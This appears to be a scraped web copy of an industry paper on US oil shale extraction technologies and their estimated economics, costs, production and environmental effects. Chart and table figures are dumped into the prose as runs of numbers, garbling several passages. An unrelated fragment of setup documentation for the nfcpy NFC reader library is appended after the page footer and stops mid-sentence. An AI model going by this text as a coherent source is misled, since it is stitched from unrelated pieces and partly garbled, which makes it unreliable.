This action might not be possible to undo. Are you sure you want to continue? 10/27/2015 text original Khosrow Biglarbigi, President, INTEK Incorporated, 2300 Clarendon Boulevard Ste. 310, Arlington VA 22201, Phone 703-465-2200, Email: kbiglari@inteki.com Marshall Carolus, Associate, INTEK Incorporated Peter Crawford, Senior Manager, INTEK Incorporated Hitesh Mohan, Vice President, INTEK Incorporated Abstract World oil prices have nearly doubled in 2008, and have risen by 400% since 2004. Crude oil prices reached more than $145 per barrel before pulling back significantly. High oil prices, and the national security issues associated with the United States’ reliance on unstable foreign sources of crude oil, have reignited interest in America’s enormous domestic oil shale resources. Oil shale is one of the world’s largest known fossil fuel resources. Global resources well exceed 10 trillion barrels. More than 1.8 trillion barrels of oil are trapped in shale in Federal lands in the western United States in the states of Colorado, Utah and Wyoming, of which 800 billion is considered recoverable. This amounts to three times the proven reserves of Saudi Arabia. During the past decade, much attention has been given to advancing various extraction technologies to make oil shale economically feasible. This paper describes many of these technologies and recent and ongoing advances. The objective of this paper is to quantify the costs and benefits of oil shale industry development and consider the hurdles to such 1 development. Figure 1: Increased World Oil Demand Detailed economic analysis has been conducted on the potential development of oil shale. This paper will describe the four representative production technologies being considered by companies for oil shale development. The paper will provide details of various components of capital and operating costs for each of these technologies and the price at which each of these technologies will be economic. In addition to presenting an evaluation of the economic viability of an oil shale industry, this paper also describes the costs and benefits of such an industry to local, state, and Federal governments. Measures such as jobs created contribution to Gross Domestic Product, and imports avoided will be described. Introduction The United States, along with the rest of the world, faces significant challenges to meet future demand for liquid fuels. These challenges are caused by rising demand for oil and other petroleum products. The world demand for petroleum is expected to continue to increase over the next twenty five years, from 14 Figure 2: OPEC Excess Capacity approximately 85 million barrels to nearly 115 million barrels per day (MMBbl/d) by 2025 (Fig. 1). The question is where the increased supply will come from to Production Capacity 35 meet the additional demand? In the past, the Organization of 33 Petroleum Exporting Countries (OPEC) served as the world’s 31 29 swing oil producer. However, over the past decade, OPEC’s excess 27 production capacity has not kept pace with actual production (Fig. 25 2). By 2005, OPEC excess productive capacity fell to 23 21 approximately one MMBbl/d. The growth in demand and the 19 tightness of the supply has contributed to increasingly high and 17 volatile world oil prices. 15 If left unaddressed, these increasing prices and tightness of supply will significantly impact the United States. The U.S. economy is highly dependent on petroleum consumption. In 2007, petroleum accounted for 39% of the Nation’s energy demand2, ` Petroleum 120 100 80 MMBbl/d 60 40 20 0 20 11 20 12 20 07 20 08 20 09 20 10 20 13 20 14 20 21 20 22 20 06 20 15 20 16 20 17 20 18 20 19 20 20 20 25 20 26 20 27 20 28 Year 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000 2001 2002 2003 2004 2005 20 29 20 30 20 23 20 24 including renewables.100 4. The most concentrated hydrocarbon deposits on earth are found in America’s western oil shale resources.000 NA 250 2. Yields greater than 25 gallons per ton (gal/ton) are generally viewed as the most economically attractive.65 15 10 5 0 1975 1980 1985 1990 1995 2000 2005 Coal 22% U. and hence. natural forces of pressure and temperature have not yet converted the sediments to crude oil.000 Large 6.000 200 4. It is estimated that the total amount of oil shale resource in the United States is over 6 trillion barrels of oil equivalent3. This increased competition raises concern over the future reliability of liquid fuels for both military and civilian uses. Oil Shale Resources U.S. In 2007.S. tar sands. the focus of this paper is on the massive resources and significant potential of the U.S. The United States now faces increasing competition for world oil supplies from rapidly growing economies. consumption met by imports will increase from 59% to 65% by 2030.S. and unconventional fossil fuels (including: oil shale.800 1. While all of these resources can contribute to U.14 U.000 2. and other high value by-products.S. naphtha.000+ 1. particularly in the Western states. This resource has already been identified and extensively characterized.58 9. Oil Shale Resources in Place – Billion Bbls 3 Deposits Location Colorado.S. Wyoming & Utah (Green River) Central & Eastern States Alaska Total Richness (Gallons/ton) 5 .5 MMBbl/d of which was imported.” Oil shales are “younger” in geologic age than crude oil-bearing formations.25 25 .65 MMBbl/d. liquid fuel supply.S. The percentage of U. The amount of kerogen in “oil shale” ore can range from 10 to 60 or more gallons per ton3 of shale. Table 1 displays the richness of the various oil shale deposits in the United States. 4). generally marlstone that is very rich in organic sedimentary material called “kerogen. Kerogen can be used to create superior quality jet fuel. alternatives. Rising world oil prices. Figure 5: Principal Oil Shale Deposits in the Western United States 4 Table 1: U. oil consumption is forecast to grow to 27. Production 2010 2015 2020 2025 2030 largely to support the transportation sector (Fig.S. #2 diesel. 12. coal–to–liquids. The challenge facing the United States is to locate and develop domestic sources of liquid fuels that will meet demand increases and offset the growth in imports. U. Supply and Consumption MMBbl/d 30 25 1 Nuclear 8% Other 7% 27.S.65 21. as well as enhanced oil recovery. and heavy oil).200 2. 3). combined with the increased need for secure alternative liquid fuel sources have spurred considerable interest in alternative fuels resources. of which 18 MMBbl/d will be imported (Fig.000+ .Figure 3: U. By 2030.14 MMBbl/d of petroleum and petroleum products. oil shale is carbonate rock. Consumption 20 Oil 39% Natural Gas 23% Imports 65% 59% 8. the United States consumed 21.10 10 . oil shale deposits. Energy Consumption 2 Figure 4: Projected U.S. enhanced. On November 22. demonstrated a variety of technologies for recovering shale oil from oil B . 24% of the Green River Basin (Wyoming). This heating process is necessary to convert the embedded Premium Oil Upgrading Resource Refinery Retorting Ore Mining sediments to kerogen oil and combustible gases. In-situ processes minimize. has recently published a comprehensive report detailing oil shale conversion technologies5.2 trillion barrels. 9% of the Uinta Basin (Utah).S. Government. and Sand Wash (CO) Basins (Fig. 1. thicker deposits. (2) pyrolysis of oil shale to produce 5 kerogen oil. laboratory. over 2. and (3) processing Figure 7: Companies with Oil Shale Technologies kerogen oil to produce refinery feedstock and high-value chemicals. energy companies and petroleum researchers have developed.the most favorable for initial development. Office of Naval Petroleum and Oil Shale Reserves (NPOSR). Oil Shale Technology Figure 6: Oil Shale Recovery Processes 5 Oil shale rock must be heated to temperatures between 400 A . Figure 7 provides a listing of the companies currently pursuing oil shale technology in the design phase.S. and. surface processing consists of three Feed major steps: (1) oil shale mining and ore preparation. Utah. The majority of this high-quality resource. the kerogen oil can be produced by in-situ technology. and 10% of the Washakie Basin (Wyoming)3 as of 1978. and Wyoming. the BLM published a proposed oil shale lease form and request for information in the Federal Register7 to solicit comments about the design of an oil shale program. the Department of the Interior’s Bureau of Land Management (BLM) prepared a report6 and a plan to address access to unconventional resources (such as oil shale) on public lands. Green River. Department of Energy. 5). Washakie (WY). This sequence is illustrated in Figure 6-B4. Over the past Feed 60 years. The U. This sequence is illustrated in Figure 6-A. RD&D Leasing Program In response to the President’s National Energy Policy in 2003. Uinta (UT). is located in the Green River Formation. Of the 6 trillion barrels of resource in place.0 trillion barrels have yields greater than 25 gal/ton3. and in many cases. Private company ownership of oil shale lands totaled about 21% of the Piceance Basin (Colorado). or in the case of true insitu. This region underlies 17. About 73 percent of the lands that contain significant oil shale deposits in the west are owned and managed by the U. For deeper. tested. options to capitalize on those opportunities.000 square miles or 11 million acres in the Piceance (CO). Generally. Both surface processing and in-situ technologies have been Premium Resource In-Situ Conversion Oil Upgrading Refinery examined. eliminate the need for mining and surface pyrolysis.In-Situ Process shale and processing it to produce fuels and byproducts. This report describes the technologies being pursued by 27 different companies in the United States. Based on its findings and responses to the Federal . These lands contain about 80 percent of the known recoverable resource in Colorado. not as amenable to surface or deepmining methods. or pilot testing. 2004. The report also included a plan for addressing impediments to oil shale development on public lands. by heating the resource in its natural depositional setting. industry interest in research and development and commercial development opportunities on public lands.Surface Process and 500 degrees centigrade (650-750 degrees fahrenheit). AMSO has developed a new process for in-situ retorting of Green River oil shale. . Chevron’s technology for the Chevron’s Technology Schematic recovery and upgrading of oil from shale (CRUSH) process is an insitu conversion process. The oil shale is 5 heated with superheated steam or other heat transfer medium Figure 10: AMSO Resources Process through a series of pipes placed below the oil shale bed to be retorted. and Shell Frontier Oil & Gas were awarded leases (three to Shell). After initial start-up. the process uses the gas produced from retorting to supply all the heat required to extract the shale oil and gas from the deposit. A sixth lease was later granted to Oil Shale Exploration. The BLM received 19 nominations in response to its June. Inc. The AMSO Oil Shale Process (patent applied for) involves the use of proven oil field drilling and completion practices coupled with AMSO’s unique heating and recovery technology (Fig. Surface disturbance is minimized with this process by heating through lateral piping. USA. The BLM RD&D lease program allows tracts of up to 160 acres to be used to test or 15 demonstrate the economic feasibility of technologies over a Figure 8: Location of Oil Shale RD&D Leases lease term of 10 years. Shale oil 5 and gas are produced Figure 11: Shell’s ICP Process through wells drilled vertically from the surface and “spidered” to provide a connection between the heating wells and production system.960 acres for a preference right commercial lease. Lessees that demonstrate successful technology may reserve an additional contiguous 4. This exposed kerogen in the fractured formation is then converted through a chemical process resulting in the kerogen changing from a solid material to a liquid and gas. Convection and refluxing are mechanisms that improve heat transfer to retort the oil shale. LLC (AMSO). 5 Figure 9: Chevron’s CRUSH Technology Chevron Oil Shale Company. This process involves the application of a series of fracturing technologies which rubblize the formation.. LLC (OSEC). Five of the projects selected involve in-situ retorting (Fig. and Shell leases are located on BLM lands in Colorado. The AMSO approach is a closed loop in-situ retorting process with advantages of energy efficiency and manageable environmental impacts. 8). provide an opportunity to better understand the environmental impacts. while the OSEC lease involves parcels in Utah. EGL. 10). EGL Resources. thereby increasing the surface area of the exposed kerogen (Fig. On December 15. Energy efficiency is optimized by recovery of heat from the shale rock after retorting is completed5. The hydrocarbon fluids are then recovered and improved to refinery feedstock specs5. and then gauge the effectiveness of mitigation measures. The payment of royalties is waived during the RD&D lease and the rental fee is waived for the first 5 years. Chevron Shale Oil Company. 2006. American Shale Oil. 9). Development. the BLM determined that offering Research.Register notice. with an option for up to a 5-year extension. 2005 oil shale RD&D lease announcement. A brief description of these technologies is provided below8. The Chevron. and Demonstration (RD&D) leases prior to issuing commercial leases would facilitate economic and technology demonstration. in the State of HOT GAS Utah. the process heat used in one capsule can be recovered by circulating lower temperature gases which transfer remaining heat into adjacent capsules. Oil Shale Exploration Company.5 million barrels of shale oil. they represent estimates of potential under certain economic. The EcoShale In-Capsule Process is an innovative new approach to oil shale COOL GAS processing that is being developed and tested by Red Leaf Resources. According to OSEC. environmentally-sound. LLC. 12). The EcoShale In-Capsule process’s lower-temperature. a worldwide engineering firm. External energy inputs are limited to process initiation. The unique impoundment approach allows for rapid reclamation and approximate restoration of the topography. the ATP Process was originally designed for treating Alberta oil sands and was later refined for use in oil shale and contaminated waste treatment options. Inc.000 feet. Rather. . OSEC believes that the ATP Process is a proven. thereafter produced gases supply most of the energy for shale heating. technological. heaters are inserted underground to convert kerogen in oil shale into high quality transportation fuels. Red Leaf’s Eco-Shale is a hybrid approach that integrates surface mining with a lower-temperature. Developed in 1976. Oil Shale Development Economics The potential for oil shale production and the resulting benefits to the national economy are discussed in the section. economic and efficient process for extracting oil from oil shale and oil sands5. Shell’s innovative In-situ Conversion Process generates more oil and gas from a smaller surface pad area than previous oil shale processes (Fig. When filled with shale. slower “roasting” approach also minimizes CO2 emissions and is amenable to carbon capture and sequestration. 13). an additional technology is currently being field tested. OSEC has tested the Alberta Taciuk Process (ATP). development and demonstration on the BLM lease at the White River Mine south of Vernal. The results presented are not intended to be a forecast of what will occur. the capsule is heated using pipes circulating hot gases derived from burning natural gas or its own produced gases. Rather.000 to 2. Shell’s Conversion Process does not involve surface mining. RedLeaf expects tailings to be sequestered and ground water to be protected. Utah. By using an impoundment engineered with an impermeable barrier. the rock formation is heated slowly over time to 650 to 750° F. to license the ATP Process for purposes of research.Shell Frontier Oil & Gas Inc. The process produces approximately one third gas and two thirds light oil. a horizontal rotating kiln process. the ATP Process has been successfully used in a project in Stuart. changing the kerogen in oil shale into oil and gas. OSEC has also recently entered into agreements to test Petrobras’s PetroSix vertical Gas Combustion Retort technology. products are pumped to the surface using traditional methods. and market assumptions and constraints. The ATP Process is a unique thermal processing technology. 11). To maximize energy efficiency. In the Shell ICP process: 5: Electric heaters gradually heat shale beneath the surface at target depths typically from 1. Fewer processing steps are required than in surface processes to produce high quality fuels. applicable to numerous industrial uses. for vaporizing and recovering organic constituents that exist in a large range of feedstock materials (Fig. “roasting” method that occurs in an impoundment that is constructed in the void space created by the shale mining excavation (Fig. Australia which produced more than 1. 16 In addition to the technologies being Figure 13: EcoShale’s In-Capsule Process tested as part of the RD&D program. for development of Utah 5 Figure 12: Oil Shale Exploration’s Alberta Taciuk Process (ATP) Retort oil shale. OSEC has arranged for an exclusive right from AECOM. defined as the sum of business taxes. operating cost. Each of these 25 tracts was screened for each of the above technology options. technology screening module.000 barrels per day (Bbl/d) for a surface retort to as much as 300. 2) Direct State Revenues. 3) Modified In-Situ (MIS). inclusive of oil. dip angle. defined as the sum of business taxes as well as one-half of royalty payments on oil shale production from Federal lands. Department of Energy (DOE) has developed a new National Oil Shale Model9. Department of Labor. Each tract was then assigned the most appropriate technology and evaluated under the specific process. Screening Module: Screening criteria for various technologies were developed based on the geological characteristics such as depth. Similarly. and a detailed economic module. production taxes. It is important to note that these costs pertain to fully operational first generation projects. revenues. as well as one-half of royalty payments on oil shale production from Federal lands. state. and upgrading are also included in these costs. royalty and incentives. This model has the capability to perform sensitivity analyses relative to price. could range in size from 10. The different technologies used for mining.Analytical Approach 9. and reduce the trade deficit by the cost of that barrel. transfer payments (royalties). and upgrading were considered in the components of the costs. The model estimates the operating costs to be in the range of $12 to $20 per barrel ($/Bbl) of shale oil produced. Mining (or drilling). and 3) Direct Public Sector Revenues. the model uses the gross revenue from the potential oil shale production. The capital and operating costs will vary depending on the process technology and the quality of the resource. each additional barrel of domestic production can replace a barrel of oil imports. predicted for each tract (based on its development schedule). Characteristics of these 25 tracts were studied in detail as part of the 1973 Department of Interior Prototype Oil Shale Leasing Program.000 per stream day barrel of daily capacity10. yield and thickness of the resource.S. the value of potential production is used to measure the impact on the trade deficit. These benefits include: 1) Direct Federal Revenues.000 to $55. In addition to estimating benefits at the national level. Minimum Economic Price The minimum economic price is defined as the world crude oil price needed to yield a 15% rate of return (ROR) on the . The capital costs are estimated to range from $40. Seventy billion barrels of resource in place are collectively found in these tracts. and 4) True In-Situ (TIS) similar to Shell’s ICP process. retorting. They will change with time as technologies matures. Labor costs (wages and fringe benefits) are calculated by isolating the labor component of all major cost elements. The economic model has average capital and operating costs based on technology and development schedule over the life of the project. For example.S. defined as the sum of the Direct Federal and Direct State Revenues. Project Costs Oil shale projects. tax. This analytical system was developed to evaluate potential U. it is assumed that these tracts represent locations of commercial interests. The model also estimates potential employment associated with the oil shale projects. perform cash flow analyses under alternative leasing options and evaluate costs and benefits of various public policy options to stimulate oil shale project investment. The benefits to local.S. and profits. Labor costs are then converted into estimated annual employment using average wages (including benefits) for comparable industries as reported by the U. 2) Underground mining and surface retorting.10 Figure 14: DOE’s National Oil Shale Model The U. natural gas. (Figure 14 ). The model consists of three parts: a detailed resource module. Each tract was also assigned a specific development schedule based on the type of technology applied. capital costs. The tracts that meet the economic hurdles are then carried forward and results are aggregated to national total. To estimate the direct effects on the GDP (excluding the multiplier effect and potential negative impacts on other domestic export industries).000 to 100.000 Bbl/d for full-scale in-situ projects. the model also estimates a number of economic benefits at state levels. oil shale development under different economic and public policy regimes. Because of prior industry nomination. and Wyoming. Economic Module: The production forecasts. Utah. are used in the economic model for cash flow analysis. and Federal treasuries are attributed to the implementation of economically feasible projects over the next 25 years. and ammonia. These nominated tracts therefore provide a solid technical basis for the present analysis. The Resource Module contains detailed petrophysical and geological characterestics for 25 development tracts in the states of Colorado. The technologies considered are: 1) Surface mining with surface retorting. retorting. on a commercial scale. Oil shale production can benefit the nation as a whole on many levels. The economic model estimates annual and cumulative cash flow before and after taxes. The 15% ROR is to cover the cost of capital and the technical and financial risk on the project. RD&D projects would work to accelerate the rate of oil shale development. and the quality of the resource. Gas production varies as a percentage of total production depending on the surface retorting or in-situ technology.4 27 With RD&D 12. 16). it is estimated that the oil shale production could reach 2. It is important to note that because oil shale project development requires long lead times. 2) The Tax incentive scenario.000 2.500 assumptions. much of this gas could be upgraded to pipeline quality and contribute to meeting regional and national natural gas demands (Fig.8 billion barrels. 15. or other process requirements. $57/Bbl for Underground Mining. 2.000 3.000 Bbl/d by 2020 and would remain steady through 2035 (Fig. Cumulative shale oil production could reach 12. These estimates reflect the benefits cumulated over the next 30 years.500 2.assumes no changes to current law and that future oil prices remain in the range of high $40s to $60/Bbl as predicted by the Energy Information Administration (EIA) in its 2006 Annual Energy Outlook (Reference Price Track)1. This level of MMBbl/d 1.000 500 0 2005 Business as Usual 2010 2015 2020 2025 2030 2035 Year Table 2: Example Benefits of Oil Shale Development (Cumulative Over 30 Years) 9 Item Production Direct Federal Revenues Direct Local/State Revenues Direct Public Sector Revenues Contribution to GDP Value of Imports Avoided New Jobs Unit Billion Bbls Billion $ Business as Usual 3.8 48 Billion $ 10 21 37 Billion $ 25 48 85 Billion $ Billion $ FTE (Thousand) 310 70 60 770 170 190 1300 325 300 . no significant production is expected until 2015 under any of the three analyzed scenarios. Under the assumptions utilized in this analysis. These scenarios are: 1) Business as usual scenario (BAU) -.000 1.5 MMBbl/d by 2035 as shown in Fig. shale oil production could reach 1. Examples are price guarantees and production tax credit.000 RD&D Potential Shale Oil Production The production potential of the 25 tracts (70 billion barrels of resource in place) was measured in three development scenarios. $47/Bbl for Surface Mining.500 3. These scenarios were selected for sensitivity analysis purposes. power generation.4 MMBbl/d by 2025.2 15 With Targeted Tax Incentive 7. and are not intended to be policy recommendations. gas production could reach as much as 3. assumes targeted tax incentives are available until project payback to encourage investments. Risk reduction through RD&D could have a significant positive impact on future shale oil development in the United States. and $62/Bbl for Modified In-situ.500 9 RD&D Million SCF/d Million SCF/d Targeted Incentives 1. While these estimates are 9 Figure 15: Potential Shale Oil Production highly sensitive to both technological and economic 2. a significant quantity of hydrocarbon gas could also be produced.000 Targeted Incentives 500 Business as Usual 0 2005 2010 2015 2020 2025 2030 2035 Year Figure 16: Associated Natural Gas with Shale Oil Production 4. Economic Benefits The potential economic benefits associated with the oil shale development activities for the three analyzed scenarios are summarized in Table 2.500 1. Alternatively. Although a significant quantity of produced gas could be consumed within oil shale facilities for process heat. With successful RD&D. With targeted tax incentives. however. Depending on the technology used. In addition to shale oil. shale oil production could reach 500. A rationale for these estimates is provided in Reference 10. and 3) The RD&D scenario assumes limited public support for R&D and field demonstration projects at commercially viable scale to reduce project risk. the average minimum economic prices are $38/Bbl for True In-Situ. Under the BAU scenario. discussions with industry have proven these estimates reasonable. 15). the model estimates that for a mature 100.project. the minimum economic price for oil shale projects is variable.000 Bbl/d capacity plant.2 billion cubic feet per day (BCF/d). To the extent that this is not achieved. some processes may be net producers of water. Oil Shale and the Environment Land Use and Surface Impacts The technology that will be used to mine and produce oil shale is dependent on depth. over the same 40 year period. To the extent that the permitting process is not streamlined. or reclamation operations. Another water source will come from western oil shale itself. These limitations include: The results pertain only to the 25 Federal tracts analyzed. including the Colorado.5% of the surface area overlaying the Green River Formation12. A combination of approaches will likely be used in the western U.5 MMBbl/d oil shale industry would require 0. and additional time is required. Various land impacts are associated with each type of oil shale processing. would be approximately 31 square miles per million barrels of daily shale oil production capacity. Open-Pit (surface) mining involves significant surface disturbance and can impact surface-water runoff patterns and subsurface water quality.42 million acre feet of water per year.18 million to 0. thickness. including the Upper Missouri.S. The analysis assumes that the environmental permitting process for the oil shale projects could be completed within three to five years. A 2. Recycling and re-use of process water will help to reduce water requirements13. The Department of Interior has also estimated that the cumulative surface area impacted by a domestic oil shale industry. The impact on employment is also significant. Limitation of the Economic Analysis The economic analysis presented in this paper has important limitations that should be considered before using its results. Produced water from other conventional and unconventional oil and gas operations may also provide a water source. and accessibility of the deposit. (2) carbon dioxide. transfers may be possible from other water basins. over a 40 year period.production could generate an additional $15 billion to $48 billion of Direct Revenues to the Federal treasury. Depleted oil and gas reservoirs in the region provide potentially effective sequestration targets12. which has high water content.5 MMBbl/d capacity for an In-situ processes. The value of imports avoided due to domestic production could reach $325 billion over the next 30 years. a 2. In 1972. the impurities can be removed with conventional water treatment technologies. The Colorado River flows between 10 and 22 million acre feet per year. disposal. Water Requirements The water required for oil shale retorting is estimated at one to three barrels of water per barrel of shale oil. and White Rivers. the development of the resource will be impeded. Air Quality Impact Oil shale is a carbonate rock that. Water may also be purchased from other existing reservoirs. .5 MMBbl/d. It is estimated that up to 300. Oil shale typically holds 2-5 gallons of water per ton. These tracts collectively account for about 70 billion barrels of oil shale resource in the states of Colorado. and Wyoming. basins.000 new high paying jobs could be generated in support of oil shale development. Experience in coal mining and other mining industries has demonstrated that impacted lands can be very effectively reclaimed with minimal long-term effect. when heated to 450 to 500 degrees centigrade. depending on location and processes used. Though this produced water will contain organic and inorganic substances. Much of this connate water can be recovered during processing and used to support mining. The major water source is the Colorado River Basin. this equates to between 105 and 315 million gallons of water per day (MGD). The analysis assumes that current technologies are successfully demonstrated to be viable at commercial scale over the next five to ten years. Direct State Revenues could increase by as much as $37 billion across the analyzed scenarios. For an oil shale industry producing 2. The analysis makes the assumption that these tracts are accessible for development. In total. Utah. No extrapolation was attempted to include the balance of the resource in these three states. would be approximately 21 square miles per 1. that may include: (1) oxides of sulfur and nitrogen. Commercially available stack gas clean-up technologies that are currently in use in electric power generation and petroleum refining facilities have improved over the years and should be effective in controlling oxides and particulates emissions from oil shale projects. Still. creates kerogen oil and hydrocarbon gases along with a slate of other gases. Green. In addition.3 trillion. though some oil shale can contain as much as 30-40 gallons of water per ton. richness.5 MMBbl/d industry would impact approximately 0. Deeper and thicker beds will likely be produced in-situ. the timing of the oil shale production will be impacted. The contribution to GDP is estimated to be between $310 billion and $1. (3) particulate matter. or otherwise sequestered. and (4) water vapor. In the West. Carbon dioxide (CO2) will also be produced in large quantities and may need to be captured for use in other commercial applications (such as enhanced oil recovery or coalbed methane operations). the Department of the Interior estimated the cumulative surface area impacted by a domestic oil shale industry. water will be drawn from local and regional sources. References 1. Testimony before the Committee on Resources. that such effects would be small. D. Fact Sheet: U. Rapidly advancing conversion technologies. None of the above limitations.The analysis is based on the AEO 2006 oil price projection (Reference Price Track) over the next 25 years.S. and national economy by means of revenues. It is likely. Currently.C. the authors thank the staff of INTEK. and the estimates are reasonable. any errors of fact or inconsistencies remain the responsibility of the principal author. it is assumed that the approach is valid. Washington. To the extent that the prevailing oil prices over this period are different from the AEO projections. Given the uncertainty of the size and combinations of the optimistic and pessimistic biases introduced by these limitations. the actual results will be impacted accordingly. Harry Johnson (Principal Petroleum Engineer). Energy Information Administration. Chad Calvent. Office of Petroleum Reserves Office of Naval Petroleum and Oil Shale Reserves. To the extent that the average costs (used) understate or overstate the true project costs. To the extent that different operators may require differing return on their investments. the estimated benefits will be different from the level shown in this paper. 2007) 6. 2006). US Department of the Interior.C. Collaborative efforts are needed among local. economy from altering trade patterns. D. then the potential benefit estimated in this report is overestimated. Office of Petroleum Reserves – Strategic Unconventional Fuels. Washington.S. The staff includes Mr. which is an estimate of upside potential. House of . Annual Energy Outlook (2008). Acknowledgements The authors wish to thank the DOE. the potential benefits in this analysis may be overestimated or understated. Department of Energy. Also. and Mr.S. Oil Shale Resources (September. conventional oil production. Office of Petroleum Reserves. Department of Energy. To the extent that capital is constrained. and Federal Governments.S. The development of this resource could have a significant positive impact on the local. contributions to GDP. U. Secure Fuels from Domestic Resources. state. for their immense efforts in preparing this manuscript. Jeffrey Stone (Research Assistant). U. however. Strategic Significance of America’s Oil Shale Resource: Volume 2 – Oil Shale Resources Technology and Economics (March 2004). Annual Energy Review (2008).C. state. and the continued decline of U. Moreover. U.S. they do not reflect site-specific cost variations applicable to specific operators. could reduce the quantity being exported of some other good. however.S. high oil prices.C. along with the private sector to encourage the development of this very important strategic resource. Energy Information Administration. invalidate the results in this analysis if they are viewed for what they are intended for. The economics are based on the use of average costing algorithms.S. Office of Naval Petroleum and Oil Shale Reserves. 2. Department of Energy.4 MMBbl/d. depending on where the petroleum was coming from.S. While acknowledging the significant contribution of these individuals. Washington. 3. Washington. royalties. The analysis assumes that operators have access to capital to start and sustain the oil shale projects. Although developed from the best available data and explicitly adjusted for variations in energy costs. The oil shale projects are typically characterized as “capital intensive” and have longer payback period relative to oil and gas development projects. Conclusions The U. the BAU case analysis assumes an average minimum rate of return of 15 percent by operators. oil shale resources are the most concentrated hydrocarbon deposits on earth. rising world demand for liquid hydrocarbons. have all recently attracted significant attention to the development of the oil shale resource. and a possible production rate of about 2. D. The Continuing Evolution of America’s Oil Shale and Tar Sands Industries: Profiles of Companies Engaged in Domestic Oil Shale and Tar Sands Resource and Technology Development (June. Subcommittee on Energy and Mineral Resources. It is possible that reduction in petroleum imports. 4. and employment do not take into account potential impacts to other sectors of the U. again for what they are intended. Inc. with over two trillion barrels of high quality resource in place. values of imports avoided. the value of avoided oil imports. 5. Deputy Assistant Secretary for Land and Minerals Management. U. D. Office of Naval Petroleum and Oil Shale Reserves for permission to use its data and model and other information critical to completing this manuscript. twenty seven companies are actively pursuing the development of oil shale conversion technologies with significant progress. The estimates of potential contribution to GDP. D. Edmonton.gov/2004/pdf/04-25761.C. Energy Information Administration. Advances in World Oil Shale Production. D. Energy Information Administration.S.access. INTEK Inc. INTEK Inc.S. No. D. Khosrow. D. Washington.. Fact Sheet: Oil Shale and the Environment (September. .gpo. Department of Energy. Annual Energy Review (2005). pp. National Oil Shale Model.. Biglarbigi. Denver. Potential for Oil Shale Leasing. International Energy Outlook (2005). Peter. 2005). Washington.. Department of Energy. U. 2008). (June 2005) 10. 69. Oil Sands. 2006). INTEK Inc. 13. Khosrow.C. 14.pdf 8. 2006).C.C. 15. Department of the Interior. Oil Shale and Tar Sands Leasing Programmatic EIS Information Center. Federal Register. The Vase North American Resource Potential of Oil Shale. U. D. Department of Energy. Office of Petroleum Reserves. Colorado. Bureau of Land Management.. Potential Development of United States Oil Shale Resrouces.g. Washington. Office of Naval Petroleum and Oil Shale Reserves. 16.. U. Office of Petroleum Reserves. Office of Petroleum Reserves. 12.cfm 9. 2007). 2007). Washington.net/7/257/2422/06jun20041800/edocket.Representatives. Vol. Presented at the 2007 EIA Energy Outlook Conference (March 28th. Washington. Canada 11. Presented at the 2008 Society of Petroleum Engineers Annual Technical Conference and Expo (September 22nd. 7. 2004).akamaitech. Oil Shale Development Economics. Biglarbigi. 67935 (November 22.anl. Fact Sheet: Oil Shale Water Resources (September. A Decision Support System. and Heavy Oil – Part 2 ( June 30. Crawford.C. Presented at the EFI Heavy Resources Conference (May 16th. 224. This action might not be possible to undo. Are you sure you want to continue?
https://www.scribd.com/doc/66038415/7995-Biglarbigi-Oil-Shale-Economics
CC-MAIN-2015-48
refinedweb
6,270
51.34
Getting started¶ Installation¶ Install libusb The libusb library provides generic access to USB devices. Linux distributions usually have this installed, otherwise it should be available through the standard package manager (beware not to choose the old version 0.x). Windows users will have a little work to (i) install the Microsoft WinUSB driver and (ii) place a copy of the libusb library into the system folder. Microsoft provides Instructions to install WinUSB but a much simpler approach is to use the Zadig Windows application (download and run zadig, select your device and choose the WinUSB driver to install). The libusb library for Windows can be downloaded from libusb (Downloads -> Latest Windows Binaries) as a 7z archive. Just unpack and copy MS32\dll\libusb-1.0.dll to C:\Windows\System32 and MS64\dll\libusb-1.0.dll to the C:\Windows\SysWOW64 directory. Install Python and nfcpy Python is usually installed on Linux, otherwise can be downloaded at. Windows users may grab an installer at. Choose the latest 2.x version, nfcpy is not yet ready for Python 3. With Python installed use pip to install the latest stable version of nfcpy. This will also install the required libusb1 and pyserial modules. $ pip install -U nfcpy Windows users may have to use C:\Python27\Scripts\pip.exe. Verify installation Check if all is correctly installed and nfcpy finds your contactless reader (Windows users may have to use``C:Python27python.exe``). $ python -m nfc If all goes well the output should tell that your your reader was found, below is an example of how it may look with an SCL3711: This is the latest version of nfcpy run in Python 2.7.12 on Linux-4.4.0-47-generic-x86_64-with-Ubuntu-16.04-xenial I'm now searching your system for contactless devices ** found SCM Micro SCL3711-NFC&RW PN533v2.7 at usb:002:024 I'm not trying serial devices because you haven't told me -- add the option '--search-tty' to have me looking -- but beware that this may break existing connections Common problems on Linux (access rights or other drivers claiming the device) should be reported with a possible solution: This is the latest version of nfcpy run in Python 2.7.12 on Linux-4.4.0-47-generic-x86_64-with-Ubuntu-16.04-xenial I'm now searching your system for contactless devices ** found usb:04e6:5591 at usb:002:025 but access is denied -- the device is owned by 'root' but you are 'stephen' -- also members of the 'root' group would be permitted -- you could use 'sudo' but this is not recommended -- it's better to add the device to the 'plugdev' group sudo sh -c 'echo SUBSYSTEM==\"usb\", ACTION==\"add\", ATTRS{idVendor}==\"04e6\", ATTRS{idProduct}==\"5591\", GROUP=\"plugdev\" >> /etc/udev/rules.d/nfcdev.rules' sudo udevadm control -R # then re-attach device I'm not trying serial devices because you haven't told me -- add the option '--search-tty' to have me looking -- but beware that this may break other serial devs Sorry, but I couldn't find any contactless device Open a local device¶ Any data exchange with a remote NFC device needs a contactless frontend attached and opened for communication. Most commercial devices (also called NFC Reader) are physically attached through USB and either provide a native USB interface or a virtual serial port. The nfc.ContactlessFrontend manages all communication with a local device. The open method tries to find and open a device and returns True for success. The string argument determines the device with a sequence of components separated by colon. The first component determines where the device is attached (usb, tty, or udp) and what the further components may be. This is best explained by example. Suppose a FeliCa S330 Reader is attached to a Linux computer on USB bus number 3 and got device number 9 (note that device numbers always increment when a device is connected): $ lsusb ... Bus 003 Device 009: ID 054c:02e1 Sony Corp. FeliCa S330 [PaSoRi] ... >>> import nfc >>> clf = nfc.ContactlessFrontend() >>> assert clf.open('usb:003:009') is True # open device 9 on bus 3 >>> assert clf.open('usb:054c:02e1') is True # open first PaSoRi 330 >>> assert clf.open('usb:003') is True # open first Reader on bus 3 >>> assert clf.open('usb:054c') is True # open first Sony Reader >>> assert clf.open('usb') is True # open first USB Reader >>> clf.close() # previous open calls implicitly closed the device Some devices, especially for embedded projects, have a UART interface that may be connected either directly or through a USB UART adapter. Below is an example of a Raspberry Pi 3 which has two UART ports (ttyAMA0, ttyS0) and one reader is connected with a USB 